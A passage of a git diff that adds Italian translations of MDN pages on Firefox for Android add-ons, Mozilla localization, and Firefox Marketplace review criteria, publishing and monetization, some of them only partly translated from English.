+ <li><a href="/en/DOM/Using_the_Camera_API" title="Using the Camera API">Camera</a></li>
+ <li><a href="/en/API/WebTelephony/Introduction_to_WebTelephony" title="Introduction to WebTelephony">Telefonia Web</a></li>
+ <li><a href="/en/API/WebSMS/Introduction_to_WebSMS" title="Introduction to WebSMS">WebSMS</a></li>
+ <li><a href="/En/Using_geolocation" title="Using geolocation">Geolocalizzazione</a></li>
+ <li><a href="/en/Detecting_device_orientation" title="https://developer.mozilla.org/en/detecting_device_orientation">Orientamento</a></li>
+</ul>
+
+<p><span id="result_box" lang="it"><span class="hps">Per testare</span> <span class="hps">il vostro sito web</span> <span class="hps">su Firefox</span> <span class="hps">per Android,</span> <span class="hps">è possibile </span></span><a class="link-https" href="https://www.mozilla.org/en-US/mobile/">istallarlo su un dispositivo Android </a> o  <a class="link-https" href="https://wiki.mozilla.org/Mobile/Fennec/Android/Emulator"><span id="result_box" lang="it"><span class="hps">eseguirlo sul proprio</span> <span class="hps">desktop utilizzando</span> <span class="hps">l'emulatore di</span> <span class="hps">Android</span></span></a>.</p>
+
+<h2 id="Realizzare_addon_per_il_mobile">Realizzare addon per il mobile</h2>
+
+<p><a href="/en/Extensions/Mobile" title="en/Extensions/Firefox_on_Android">Firefox for Android supports add-ons</a> using the exact same <a href="/en/Extensions" title="en/Extensions">extension system</a> used by all other Gecko-based applications. We did not invent a new add-on system. This means that building an add-on for Firefox on Android is the <a href="/en/Building_an_Extension" title="en/Building_an_Extension">same process</a> that would be used for desktop Firefox. Add-ons that work with desktop Firefox <strong>do not</strong> automatically work in Firefox on Android. The user interfaces are just too different.</p>
+
+<div class="note">Firefox on Android has a unique application identifier which must be used in <code>install.rdf</code>. The identifier is <code>{aa3c5121-dab2-40e2-81ca-7ea25febc110}</code></div>
+
+<p>Both classic restart-required and newer <a href="/en/Extensions/Bootstrapped_extensions" title="en/Extensions/Bootstrapped_extensions">restartless</a> add-on approaches are supported. Using the restartless approach is preferred whenever possible because the user experience is far superior to forcing an application restart when installing or removing an add-on.</p>
+
+<h3 id="Introduzione_Veloce"><span class="short_text" id="result_box" lang="it"><span class="hps">Introduzione Veloce</span></span></h3>
+
+<ul>
+ <li>There is no visible XUL in the UI, so using overlays to try to add or change UI is useless.</li>
+ <li>Internal code and objects, like <code>gBrowser</code>, do not exist. Look at the Firefox on Android <a class="external" href="http://mxr.mozilla.org/mozilla-central/source/mobile/android/chrome/content/browser.js" title="http://mxr.mozilla.org/mozilla-central/source/mobile/android/chrome/content/browser.js"><code>browser.js</code></a> file to learn about the internals. Much of the same fundamental functionality exists.</li>
+ <li>Services like <code>nsIPromptService</code> and <code>nsIAlertsService</code> are implemented to use native Android UI.</li>
+ <li>There is a simple JavaScript object, called <a href="/en/Extensions/Mobile/API/NativeWindow" title="en/Extensions/Mobile/NativeWindow"><code>NativeWindow</code></a>, that allows you to manipulate parts of the native Android UI.</li>
+</ul>
+
+<h2 id="Informati_e_ricevi_informazioni_su_Firefox_per_Android">Informati e ricevi informazioni su Firefox per Android</h2>
+
+<p>Documentation and tutorials for using and troubleshooting Firefox for Android are available on the <a class="external" href="http://support.mozilla.org/mobile" title="http://support.mozilla.org/mobile">Mozilla Support website</a>.</p>
diff --git a/files/it/mozilla/index.html b/files/it/mozilla/index.html
new file mode 100644
index 0000000000..e24ed8a774
--- /dev/null
+++ b/files/it/mozilla/index.html
@@ -0,0 +1,13 @@
+---
+title: Mozilla
+slug: Mozilla
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Mozilla
+---
+<div>
+  {{draft}}</div>
+<p>This will soon be an awesome landing page for Mozilla internals. For now, it's not.</p>
+<div>
+  {{ListSubpages}}</div>
diff --git a/files/it/mozilla/localizzazione/index.html b/files/it/mozilla/localizzazione/index.html
new file mode 100644
index 0000000000..4aff8d7f64
--- /dev/null
+++ b/files/it/mozilla/localizzazione/index.html
@@ -0,0 +1,23 @@
+---
+title: La localizzazione su Mozilla
+slug: Mozilla/Localizzazione
+tags:
+  - Localizzazione
+  - Mozilla
+  - Traduzione
+  - l10n
+translation_of: Mozilla/Localization
+---
+<p><span class="seoSummary"><strong>La localizzazione</strong> (L10n) consiste nel tradurre le interfacce software degli utenti da una lingua ad un'altra, rendendola accessibile a tutte le altre culture straniere. Queste risorse sono destinate a chiunque abbia interesse per gli aspetti tecnici coinvolti nella localizzazione, oltre che agli sviluppatori e a tutti i collaboratori. </span></p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Project:MDN/Localizing" title="/en-US/docs/Project:MDN/Localizing">Localizzare MDN</a></p>
+
+<dl>
+ <dd>Come localizzare la documentazione qui su MDN.</dd>
+ <dt><a href="/en-US/Apps/Build/Localization">App di localizzazione</a></dt>
+ <dd>Articolo riguardante più nello specifico le applicazioni di localizzazione, inclusa l'applicazione di Firefox OS.</dd>
+ <dt><a href="/en-US/docs/Web/API/L10n">L10n</a></dt>
+ <dd>Documenti in riferimento all' L10n API che Mozilla usa per localizzare Firefox OS.</dd>
+</dl>
diff --git a/files/it/mozilla/marketplace/criteri_revisione_marketplace/index.html b/files/it/mozilla/marketplace/criteri_revisione_marketplace/index.html
new file mode 100644
index 0000000000..9e2d6e10bf
--- /dev/null
+++ b/files/it/mozilla/marketplace/criteri_revisione_marketplace/index.html
@@ -0,0 +1,79 @@
+---
+title: Criteri di revisione del Marketplace
+slug: Mozilla/Marketplace/criteri_revisione_marketplace
+translation_of: Archive/Mozilla/Marketplace/Publishing/Marketplace_review_criteria
+---
+<div class="summary">
+ <p>Questo articolo descrive i requisiti che un'app deve soddisfare per essere distribuita su Firefox Marketplace. Tali requisiti sono stati elaborati per conservare un equilibrio tra le esigenze degli sviluppatori e quelle degli utenti. Gli sviluppatori cercano requisiti equi, coerenti, non troppo rigorosi e affidabili per costituire le basi del loro business. D'altra parte, gli utenti esigono la garanzia che le app siano sicure, in grado di funzionare sui loro dispositivi e che rispettino quanto dichiarato nelle note di versione. I seguenti requisiti tentano di conciliare tutte queste esigenze.</p>
+</div>
+<p>Di seguito le prospettive di Mozilla riguardo alle revisioni:</p>
+<ul>
+ <li>I criteri vanno applicati in modo equo, coerente e con una certa clemenza. Il processo di revisione non deve essere visto come una barriera, ma piuttosto come un punto di vista degno di fiducia che fornisce dei suggerimenti per aiutare lo sviluppatore ad avere successo.</li>
+ <li>I revisori non si sostituiscono al Controllo qualità. Durante il processo di revisione un volontario verificherà la validità del manifesto e dedicherà qualche minuto a utilizzare l'app come farebbe un normale utente.</li>
+ <li>Nel caso in cui un'app non passi il processo di revisione, allo sviluppatore verrà fornita una chiara spiegazione dei problemi riscontrati, dei passaggi per riprodurli e, dove possibile, il revisore proverà a indicare la giusta strada da seguire fornendo link alla documentazione o suggerendo le modifiche da effettuare.</li>
+ <li>I revisori non danno giudizi estetici sull'<em>aspetto</em> dell'app, ma solo sul suo <em>funzionamento</em>. Ad esempio, un'app che contiene un paragrafo di testo rosso su sfondo arancione può essere rifiutata non perché esteticamente sgradevole, ma a causa della scarsa leggibilità.</li>
+ <li>Agli sviluppatori viene sempre concesso il beneficio del dubbio. Quando un revisore non è sicuro se un'app debba o meno essere rifiutata, <em>prima</em> di procedere col rifiuto chiederà delucidazioni allo sviluppatore. Un'app non verrà, almeno consapevolmente, rifiutata per problemi legati alla piattaforma e fuori dal controllo dello sviluppatore, tuttavia ci riserviamo di sospendere l'approvazione finché l'app non sarà in condizioni di funzionare correttamente.</li>
+</ul>
+<h2 id="Sicurezza">Sicurezza</h2>
+<p>Tutte le specifiche di sicurezza per la progettazione di app sono disponibili in questa pagina:<a href="https://wiki.mozilla.org/Apps/Security">https://wiki.mozilla.org/Apps/Security</a> </p>
+<ul>
+ <li>Il manifesto dell'app deve essere distribuito dalla stessa origine dell'app.</li>
+ <li>Il manifesto dell'app deve essere distribuito utilizzando l'header HTTP <code>Content-Type</code> <code>application/x-web-app-manifest+json</code>.</li>
+ <li>Un'app non deve utilizzare reindirizzamenti o iframe per caricare contenuti altrui senza autorizzazione.</li>
+ <li>Il manifesto deve specificare quali sono i privilegi richiesti dall'app e per quale scopo vengono utilizzati.</li>
+</ul>
+<h2 id="Privacy">Privacy</h2>
+<ul>
+ <li>Durante il caricamento dell'app ti verrà chiesto di fornire l'indirizzo della tua Informativa sulla privacy. Per l'informativa non sono richiesti formati o contenuti specifici. Sentiti libero di utilizzare il nostro <a href="https://github.com/flamsmark/privacy-policy-template">modello di Informativa sulla privacy</a>. Dai anche un'occhiata alle <a href="https://developer.mozilla.org/en-US/Marketplace/Publishing/Privacy_policies">linee guida per l'Informativa sulla privacy</a>.</li>
+</ul>
+<h2 id="Contenuto">Contenuto</h2>
+<ul>
+ <li>Tutte le app che non rispettano le linee guida sui contenuti, riportate qui di seguito, verranno rifiutate. Se ritieni che la tua app rappresenti un caso limite, richiedi delucidazioni al team di revisione, anche se l'app non è ancora pronta per la pubblicazione. Vogliamo aiutarti a rimanere sulla strada giusta piuttosto che sprecare del tempo prezioso a sviluppare un'app che verrà rifiutata.</li>
+ <li>Da gennaio 2014 tutte le app devono ricevere una classificazione dei contenuti da parte della IARC (International Age Rating Coalition). La classificazione viene attribuita durante il processo di caricamento dell'app rispondendo a un breve questionario. Ulteriori informazioni sul <a href="https://developer.mozilla.org/en-US/Marketplace/Submission/Rating_Your_Content">processo di classificazione</a>.</li>
+ <li>Gli screenshot e le descrizioni inserite in Firefox Marketplace devono essere una rappresentazione fedele dell'app.</li>
+ <li>Nel manifesto di un'app le <a href="/en-US/docs/Web/Apps/Manifest#locales">chiavi di tipo <code>locale</code></a> devono corrispondere alle rispettive lingue supportate dall'app. Per esempio, se fornisci una chiave <code>locale</code> in polacco gli utenti si aspetteranno che l'app sia disponibile in questa lingua.</li>
+</ul>
+<h3 id="Linee_guida_per_i_contenuti"><strong>Linee guida per i contenuti</strong></h3>
+<p>Questa lista descrive contenuti considerati inappropriati su Firefox Marketplace. Non è una lista definitiva ma solo illustrativa e potrebbe essere aggiornata. Se un'applicazione viola queste linee guida, Mozilla si riserva il diritto di rimuoverla da Firefox Marketplace.</p>
+<ul>
+ <li>Nessun materiale osceno, pornografico o rappresentazioni grafiche di sesso e violenza.</li>
+ <li>Nessun contenuto che violi i diritti altrui, inclusi proprietà intellettuale e altri diritti di proprietà, diritti di privacy e di pubblicità.</li>
+ <li>Nessun contenuto concepito per danneggiare Mozilla o gli utenti (quali codici potenzialmente dannosi, virus, spyware o malware).</li>
+ <li>Nessun contenuto illegale o che promuova attività illegali.</li>
+ <li>Nessun contenuto ingannevole, fuorviante, fraudolento, concepito per attività di phishing o altri furti di identità.</li>
+ <li>Nessun contenuto che promuova il gioco d'azzardo.</li>
+ <li>Nessun contenuto coinvolto nella promozione di prodotti e servizi illegali o controllati.</li>
+ <li>Nessun contenuto che sfrutti i minori.</li>
+ <li>Nessun contenuto che degradi, intimidisca, inciti alla violenza o incoraggi l'azione pregiudizievole nei confronti di persone o gruppi sulla base di età, sesso, razza, etnia, nazionalità, religione, orientamento sessuale, disabilità, posizione geografica o altre categorie protette, o che costituisca un incitamento all'odio.</li>
+ <li>Nessun contenuto che induca disonestamente l'utente a prendere una decisione d'acquisto.</li>
+</ul>
+<h2 id="Funzionalità">Funzionalità</h2>
+<ul>
+ <li>Il revisore deve essere in grado di verificare il corretto funzionamento delle caratteristiche principali pubblicizzate dall'app. Difetti estetici e piccoli inconvenienti verranno comunicati allo sviluppatore, ma non impediranno l'approvazione dell'app.</li>
+ <li>L'app non deve compromettere le prestazioni e la stabilità del sistema.</li>
+</ul>
+<h2 id="Usabilità">Usabilità</h2>
+<ul>
+ <li>Lo sviluppatore deve fare un ragionevole tentativo di ottimizzare il layout dell'app per la piattaforma di riferimento. Questo requisito è stato implementato per impedire le mancanze più grossolane, come ad esempio:
+  <ul>
+   <li>Dichiarare un'app che è chiaramente un sito web per desktop compatibile con un dispositivo mobile.</li>
+   <li>Progettare un'app con il layout che non si espande per riempire lo spazio a disposizione sullo schermo (immagina un'app con una schermata 320x480 che occupa solo l'angolo in alto a destra di un tablet, lasciando il resto della pagina vuoto: non è esattamente l'effetto desiderato!)</li>
+  </ul>
+ </li>
+ <li>L'app deve implementare un proprio sistema di navigazione e non dipendere dalla finestra nativa del browser o da un pulsante hardware, che potrebbe non essere disponibile su tutti i dispositivi.
+  <ul>
+   <li>Se, per esempio, un revisore si trovasse bloccato su una schermata dell'app perché nell'interfaccia non è stato implementato un collegamento per tornare indietro, questo costituirebbe un motivo di rifiuto. Questo non significa che l'app debba necessariamente implementare la barra di pulsanti tipica delle app native.</li>
+   <li>Nelle versioni di Firefox OS 1.1 e superiori è possibile inserire nel manifesto la proprietà <code><a href="/en-US/Apps/Build/Manifest#chrome">chrome</a></code>, che dota l'app di un sistema di navigazione essenziale.</li>
+  </ul>
+ </li>
+ <li>Gli elementi di navigazione, come pulsanti e link, devono essere facilmente attivabili con un clic o un tocco.</li>
+</ul>
+<h2 id="Politica_sulle_app_bloccate">Politica sulle app bloccate</h2>
+<p>Nella speranza di non arrivare mai a esercitarlo, ci riserviamo il diritto di eliminare ("bloccare") qualsiasi app già pubblicata che in un secondo momento riveli di aver violato i requisiti di sicurezza, privacy o contenuto, oppure di causare un peggioramento significativo nelle prestazioni del sistema o del network. Gli sviluppatori verranno informati prima del blocco della loro app, saranno considerati in buona fede in assenza di prove che dimostrino il contrario e potranno contare sulla piena collaborazione del team di revisione, che comunicherà loro la situazione e li assisterà nella risoluzione del problema. Esempi specifici di casi in cui si procede al blocco di un'app:</p>
+<ul>
+ <li>Phishing</li>
+ <li>Spam</li>
+ <li>Modifica radicale della tipologia di contenuti, ad esempio da "Foto di cuccioli v1.0" a "Violenza Brutale v1.0", senza aggiornare appropriatamente la classificazione dei contenuti.</li>
+ <li>Comportamenti anomali gravi dell'app per una significativa percentuale di utenti, anche nel caso in cui non si riesca a stabilire una responsabilità diretta di quest'ultima. Questi includono: peggioramento nelle prestazioni del telefono, riavvii continui, perdita dei dati dell'utente non risolti da un riavvio del dispositivo.</li>
+ <li>Utilizzo dell'app per attacchi alla Rete come il Distributed denial of service (DDOS).</li>
+</ul>
diff --git a/files/it/mozilla/marketplace/index.html b/files/it/mozilla/marketplace/index.html
new file mode 100644
index 0000000000..b868c7f23d
--- /dev/null
+++ b/files/it/mozilla/marketplace/index.html
@@ -0,0 +1,129 @@
+---
+title: Firefox Marketplace
+slug: Mozilla/Marketplace
+tags:
+  - Apps
+  - Firefox OS
+  - Marketplace
+  - Mobile
+  - TopicStub
+translation_of: Archive/Mozilla/Marketplace
+---
+<div class="summary">Firefox Marketplace è una piattaforma online aperta e non proprietaria per la distribuzione di app web. <span class="seoSummary">Questa sezione fornisce le informazioni necessarie per realizzare ed esporre un’app su Firefox Marketplace, illustra consigli su come rendere l'app più fruibile e popolare, le varie opzioni di distribuzione, pubblicazione e aggiornamento, le librerie e API necessarie per sfruttare le funzionalità del Marketplace.</span></div>
+
+<div class="column-container">
+<p>Mozilla porta i suoi principi fondamentali, apertura, libertà e diritto dell'utente di scegliere, nel mercato delle app.</p>
+
+<p><a href="https://marketplace.firefox.com/">Firefox Marketplace</a> permette di pubblicare <a href="/it/docs/Apps">app open web</a> sfruttando tecnologie web, linguaggi e strumenti standardizzati. Le app possono essere di due tipi: locali (packaged), cioè eseguibili dall'interno di Firefox, oppure remote (hosted), ospitate su un server proprio. Le app pubblicate sul Marketplace sono disponibili agli utenti di Firefox OS in tutto il mondo e possono essere facilmente trovate attraverso la sezione "App consigliate", le varie categorie di app e una versatile funzione di ricerca. L'installazione delle app gratuite richiede pochi istanti, mentre le app a pagamento possono essere acquistate sfruttando il sempre più completo supporto per i pagamenti con carta di credito oppure direttamente dal cellulare.</p>
+</div>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Community" id="Community" name="Community"><a href="/en-US/Marketplace/Prepare">Prepararsi al successo</a></h2>
+
+<dl>
+ <dd>Che tu sviluppi app per profitto o semplicemente per soddisfazione personale, se le esponi sul Marketplace probabilmente è perché miri a farle scoprire, utilizzare e apprezzare dagli utenti. Questa sezione spiega come far conoscere la propria app e costruire una comunità di utenti soddisfatti.</dd>
+</dl>
+
+<h2 class="Community" id="Community" name="Community"><a href="/en-US/Marketplace/Options">Opzioni di pubblicazione</a></h2>
+
+<dl>
+ <dd>Locale o remota, questo è il dilemma. Le risposte alle tue domande su come distribuire il contenuto delle app e sulle varie opzioni per desktop, dispositivi Android e Firefox OS.</dd>
+</dl>
+
+<h2 class="Community" id="Community" name="Community"><a href="/en-US/Marketplace/Publishing/Introduction">Pubblicare un'app</a></h2>
+
+<dl>
+ <dd>Esibisci le tue app davanti al resto del mondo. Scopri come esporre le tue app su Firefox Marketplace, dal procedimento per caricare l'app al processo di revisione, all'aggiornamento, al controllo delle statistiche, alla revisione dei commenti degli utenti.</dd>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+</dl>
+
+<h2 class="Tools" id="Tools" name="Tools">Strumenti per lo sviluppo di app</h2>
+
+<dl>
+ <dt><a href="/en-US/Marketplace/APIs">Librerie e API di Firefox Marketplace</a></dt>
+ <dd>Una panoramica con i link alle librerie e alle API a disposizione per aggiungere nuove funzionalità alle app del Marketplace.</dd>
+ <dt><a href="/en-US/Apps/Tools_and_frameworks/App_developer_tools">Strumenti per sviluppatori di app</a></dt>
+ <dd>Una lista esauriente dei vari strumenti a disposizione per rendere lo sviluppo delle app open web efficiente e divertente.</dd>
+ <dt><a href="/it/docs/Tools/WebIDE">WebIDE</a></dt>
+ <dd>Lo strumento principale per verificare, inviare a un dispositivo e sottoporre al debug le app di <a href="https://developer.mozilla.org/en-US/Firefox_OS">Firefox OS</a> attraverso <a href="/it/docs/Tools/Firefox_OS_Simulator">Firefox OS Simulator</a> o un dispositivo con sistema operativo Firefox OS.</dd>
+</dl>
+</div>
+</div>
+
+<h2 id="Subnav">Subnav</h2>
+
+<ol>
+ <li><a href="/en-US/Marketplace/Prepare">Prepararsi al successo</a>
+
+  <ol>
+   <li><a href="/en-US/Marketplace/Prepare/Introduction">Introduzione</a></li>
+   <li><a href="/en-US/Marketplace/Prepare/Deciding_what_to_build">Deciding what to build</a></li>
+   <li><a href="/en-US/Marketplace/Prepare/Getting_to_know_your_users">Getting to know your users</a></li>
+   <li><a href="/en-US/Marketplace/Prepare/Choosing_your_business_model">Choosing your business model</a></li>
+   <li><a href="/en-US/Marketplace/Prepare/Localizing_your_apps">Localizing your apps</a></li>
+   <li><a href="/en-US/Marketplace/Prepare/Promoting_your_app">Promoting your app</a></li>
+   <li><a href="/en-US/Marketplace/Prepare/Creating_your_community">Creating your community</a></li>
+  </ol>
+ </li>
+ <li><a href="/en-US/Marketplace/Options">Opzioni di pubblicazione</a>
+  <ol>
+   <li><a href="/en-US/Marketplace/Options/Introduction">Introduzione</a></li>
+   <li><a href="/it/Marketplace/Options/Packaged_apps">Packaged apps</a></li>
+   <li><a href="/en-US/Marketplace/Options/Hosted_apps">Hosted apps</a></li>
+   <li><a href="/en-US/Marketplace/Options/Packaged_or_hosted">Packaged or hosted?</a></li>
+   <li><a href="/en-US/Marketplace/Options/Mobile_optimized_websites">Mobile-optimized websites</a></li>
+   <li><a href="/en-US/Marketplace/Options/Self_publishing">Publish apps yourself</a></li>
+  </ol>
+ </li>
+ <li><a href="/it/Marketplace/Publishing">App publishing overview</a>
+  <ol>
+   <li><a href="/en-US/Marketplace/Publishing/Introduction">Introduzione</a></li>
+   <li><a href="/en-US/Marketplace/Publishing/Submission_checklist">Submission checklist</a></li>
+   <li><a href="it/Marketplace/criteri_revisione_marketplace" title="Una spiegazione dei criteri che un'app deve soddisfare per essere pubblicata su Firefox Marketplace">Criteri di revisione del Marketplace</a></li>
+   <li><a href="/en-US/Marketplace/Publishing/Marketplace_showcase_criteria">Marketplace showcase criteria</a></li>
+   <li><a href="/en-US/Marketplace/Publishing/Adding_a_subdomain" title="Per ragioni di sicurezza ogni app deve avere un proprio dominio (o sottodominio) sul Web. Questo articolo spiega come creare il sottodominio per un'app.">Adding a subdomain for an app</a></li>
+   <li><a href="/en-US/Marketplace/Publishing/Policies_and_Guidelines">Policies and Guidelines</a>
+    <ol>
+     <li><a href="/en-US/Marketplace/Publishing/Policies_and_Guidelines/Introduction">Introduzione</a></li>
+     <li><a href="/en-US/Marketplace/Publishing/Policies_and_Guidelines/Marketplace_screenshot_criteria" title="Linee guida su come realizzare screenshot efficaci per il caricamento sul Marketplace.">Marketplace screenshot criteria</a></li>
+     <li><a href="/en-US/Marketplace/Publishing/Policies_and_Guidelines/Privacy_policies" title="La privacy degli utenti è estremamente importante, per questo è necessario sviluppare e aderire a una politica sulla privacy appropriata in modo da guadagnarsi la loro fiducia. Questo articolo fornisce le linee guida per lo sviluppo di una politica sulla privacy.">Privacy policy</a></li>
+     <li><a href="/en-US/Marketplace/Publishing/Policies_and_Guidelines/Testing_and_troubleshooting">App testing and troubleshooting</a></li>
+    </ol>
+   </li>
+  </ol>
+ </li>
+ <li><a href="/en-US/Marketplace/Publishing/Submit">Submit your app</a>
+  <ol>
+   <li><a href="/en-US/Marketplace/Publishing/Submit/Overview">Panoramica</a></li>
+   <li><a href="/en-US/Marketplace/Publishing/Submit/Sign-in_to_your_developer_account" title="Questa guida indica come caricare correttamente un'app su Firefox Marketplace passo per passo.">Step 1: Sign-in</a></li>
+   <li><a href="/en-US/Marketplace/Publishing/Submit/Load_your_app">Step 2: Load app</a></li>
+   <li><a href="/en-US/Marketplace/Publishing/Submit/Enter_your_apps_details">Step 3: Listing details</a></li>
+   <li><a href="/en-US/Marketplace/Publishing/Submit/Next_steps">Step 4: Next steps</a></li>
+   <li><a href="/en-US/Marketplace/Publishing/Submit/Rating_Your_Content">Step 5: App rating</a></li>
+   <li><a href="/en-US/Marketplace/Publishing/Submit/Define_your_team">Step 6: Define team members</a></li>
+   <li><a href="/en-US/Marketplace/Publishing/Submit/View_your_listing">Step 7: View listing</a></li>
+   <li><a href="/en-US/Marketplace/Publishing/Submit/Edit_other_localizations">Step 8: Edit other localizations</a></li>
+  </ol>
+ </li>
+ <li><a href="/en-US/Marketplace/Publishing/Managing_your_apps">Managing and updating published apps</a>
+  <ol>
+   <li><a href="/en-US/Marketplace/Publishing/Managing_your_apps/Introduction_Managing_your_apps">Introduzione</a></li>
+   <li><a href="/en-US/Marketplace/Publishing/Managing_your_apps/Status___Versions">Your app's status</a></li>
+   <li><a href="/en-US/Marketplace/Publishing/Updating_apps" title="Informazioni su come vengono gestiti gli aggiornamenti delle app locali e remote, e sugli accorgimenti da prendere per assicurarsi che la propria app supporti gli aggiornamenti.">Updating apps</a></li>
+   <li><a href="/en-US/Marketplace/Publishing/Managing_your_apps/App_Statistics">App Stats</a></li>
+  </ol>
+ </li>
+ <li><a href="/en-US/docs/Mozilla/Marketplace/Add-on_submission">Add-on submission</a>
+  <ol>
+   <li><a href="/en-US/docs/Mozilla/Marketplace/Add-on_submission">Add-on submission overview</a></li>
+   <li><a href="/en-US/docs/Mozilla/Marketplace/Add-on_submission/Review_criteria">Add-on review criteria</a></li>
+  </ol>
+ </li>
+ <li><a href="/en-US/Marketplace/APIs">Librerie e API</a></li>
+ <li><a href="/en-US/Marketplace/FAQ">FAQ di Firefox Marketplace</a></li>
+</ol>
diff --git a/files/it/mozilla/marketplace/monetization/introduction_monetization/index.html b/files/it/mozilla/marketplace/monetization/introduction_monetization/index.html
new file mode 100644
index 0000000000..ef368a9586
--- /dev/null
+++ b/files/it/mozilla/marketplace/monetization/introduction_monetization/index.html
@@ -0,0 +1,31 @@
+---
+title: Introduction — Monetization
+slug: Mozilla/Marketplace/Monetization/Introduction_Monetization
+tags:
+  - italiano tags
+translation_of: Archive/Marketplace/Monetization/Introduction_Monetization
+---
+<div class="summary">
+<p>You've worked hard on designing your latest app, and now you want to ensure it generates revenue. This section provides the information you need to implement and publish a paid app, a paid upgrade app, and apps using in-app payments or in-app advertising.</p>
+</div>
+
+<div class="row topicpage-table">
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Apps/Tutorials/General/Profiting_from_your_app">Publishing your app for profit</a></dt>
+ <dd>An overview to the development and publishing process for each type of monetized app, as well as details on refunds and how payments are processed.</dd>
+ <dt><a href="/en-US/Marketplace/Monetization/App_payments_guide">Building paid apps</a></dt>
+ <dd>An introduction to creating an app users have to pay for.</dd>
+ <dt><a href="/en-US/Marketplace/Monetization/In-app_payments_section/Introduction_In-app_Payments">Building for in-app payments</a></dt>
+ <dd>Guides to implementing support for in-app payments using fxPay or mozPay.</dd>
+ <dt><a href="/en-US/Marketplace/Monetization/Refunds">Refunds</a></dt>
+ <dd>Details on refunds users can request and how they effect your app.</dd>
+ <dt><a href="/en-US/docs/Web/Apps/Publishing/Validating_a_receipt">Validating a receipt</a></dt>
+ <dd>A guide to when and how to validate your app's purchase receipt, whether you want to implement the validation yourself or use an existing library.</dd>
+ <dt><a href="/en-US/docs/Web/Apps/Publishing/App_pricing" title="/en-US/docs/Web/Apps/Publishing/App_pricing">App pricing tiers</a></dt>
+ <dd>Details of the fixed price points you can choose for your paid apps, and how these vary among different currencies, along with useful supporting information on dealing with app payments.</dd>
+ <dt><a href="/en-US/docs/Web/Apps/Publishing/Payments_Status" title="/en-US/docs/Web/Apps/Publishing/Payments_Status">Country guide</a></dt>
+ <dd>Additional details, such as tax and exchange rates used, for each country where payments in the local currency are available.</dd>
+</dl>
+</div>
+
+<p> </p>
diff --git a/files/it/mozilla/marketplace/monetization/profiting_from_your_app/index.html b/files/it/mozilla/marketplace/monetization/profiting_from_your_app/index.html
new file mode 100644
index 0000000000..f623f72cc8
--- /dev/null
+++ b/files/it/mozilla/marketplace/monetization/profiting_from_your_app/index.html
@@ -0,0 +1,53 @@
+---
+title: Publishing your app for profit
+slug: Mozilla/Marketplace/Monetization/Profiting_from_your_app
+tags:
+  - italiano tags
+translation_of: Archive/Marketplace/Monetization/Profiting_from_your_app
+---
+<div class="summary">
+<p>Creating Web Apps is not only fun; it's also a great way to turn your passion into revenue! This article sumarizes how you publish app using various the monetization models available.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: If you're looking for more information on monetization models or advice on which one to use, check out <a href="/en-US/Marketplace/Prepare/Choosing_your_business_model">Choosing your business model</a>. In addition, the <a href="/en-US/Marketplace/FAQ#Payments">payments section of the Marketplace FAQ</a> provides answers to many common questions about Marketplace payments.</p>
+</div>
+
+<h2 id="How_to_...">How to ...</h2>
+
+<h3 id="Release_a_premium_app">Release a premium app</h3>
+
+<p>To offer a premium (paid) app you need to set it so it's installed from Firefox Marketplace. Then include code to verify a receipt issued by Marketplace, to make sure the app has been paid for before allowing it to run. For more information, see the <a href="/en-US/Marketplace/Monetization/App_payments_guide">App payments guide</a>.</p>
+
+<p>To setup an app as premium in Firefox Marketplace you first identify it as Paid in the <a href="/en-US/Marketplace/Publishing/Submit/Load_your_app#Monetization">initial (monetization)</a> section of the Submit an App page. You then <a href="/en-US/Marketplace/Publishing/Pricing/Payment_Accounts">create an account with one or more payment providers</a>. Once this is done you can select a <a href="/en-US/Marketplace/Monetization/App_pricing">price point</a> for your app. Bear in mind that currently only apps installed into Firefox OS can be premium apps, because payments are not yet supported on desktop or Android.</p>
+
+<h3 id="Release_a_promote_as_upgrade_app">Release a promote as upgrade app</h3>
+
+<p>For this approach you obviously need two apps — the free one and the premium app you'll promote as an upgrade.</p>
+
+<p>Once your apps are ready, first add the free version of the app to Firefox Marketplace, then the premium version. While submitting the premium app select the <a href="/en-US/Marketplace/Publishing/Pricing/Promote_as_upgrade_to_free_version">promote as upgrade to free version</a> option at the bottom of the <strong>Compatibility &amp; Pricing</strong> page.</p>
+
+<h3 id="Release_an_app_with_in-app_payments">Release an app with in-app payments</h3>
+
+<p>You have two options for adding in-app payments to your apps: <a href="/en-US/Marketplace/Monetization/In-app_payments_section/fxPay_iap">fxPay</a> and <a href="/en-US/Marketplace/Monetization/In-app_payments_section/mozPay_iap">mozPay</a>. The principal difference between the two options is that fxPay works without the need for your own server, while mozPay requires you to have a server to store transaction receipts.</p>
+
+<p>In simple terms, development of your app involves defining a number of in-app products you have for sale, reading those products into your app, providing a purchase 'button', and validating the receipt when the product is 'consumed' to ensure it was validly purchased. Full details on the coding required is provided in the <a href="/en-US/Marketplace/Monetization/In-app_payments_section/Introduction_In-app_Payments">In-app payments</a> section.</p>
+
+<div class="note">
+<p><strong>Note</strong>: While we encourage apps using in-app payments to be free for download, it's possible to have a paid app that also uses in-app payments.</p>
+</div>
+
+<p>To setup an app with in-app purchases in Firefox Marketplace, you first identify it as <strong>Paid / In-app</strong> in the <a href="/en-US/Marketplace/Publishing/Submit/Load_your_app#Monetization">initial (monetization)</a> section of the Submit an App page (noting that you will do this for a stub app before development starts to get a API key for mozPay or load in-app products for fxPay). You then <a href="/en-US/Marketplace/Publishing/Pricing/Payment_Accounts">create an account with one or more payment providers</a>, before publishing your app. Bear in mind that currently only apps installed into Firefox OS can be premium apps, because payments are not yet supported on desktop or Android.</p>
+
+<h3 id="Releasing_an_app_with_in-app_advertising">Releasing an app with in-app advertising</h3>
+
+<p>Mozilla has no special relationship with any advertising network, so you are free to choose the ad network or networks. You'll need to consult the developer resources from your chosen network to get full details of the development process, but in general the process is likely to involve: getting a key that will identify to the network that an ad has been displayed or clicked in your app, and coding the ads into your app.</p>
+
+<p>To publish on Firefox Marketplace you now simply identify it as <strong>Free</strong> or <strong>Paid / In-app</strong> as appropriate in the <a href="/en-US/Marketplace/Publishing/Submit/Load_your_app#Monetization">initial (monetization)</a> section of the Submit an App page and compete the apps details. There are no special steps to follow, compared to posting an app without in-app adverts.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
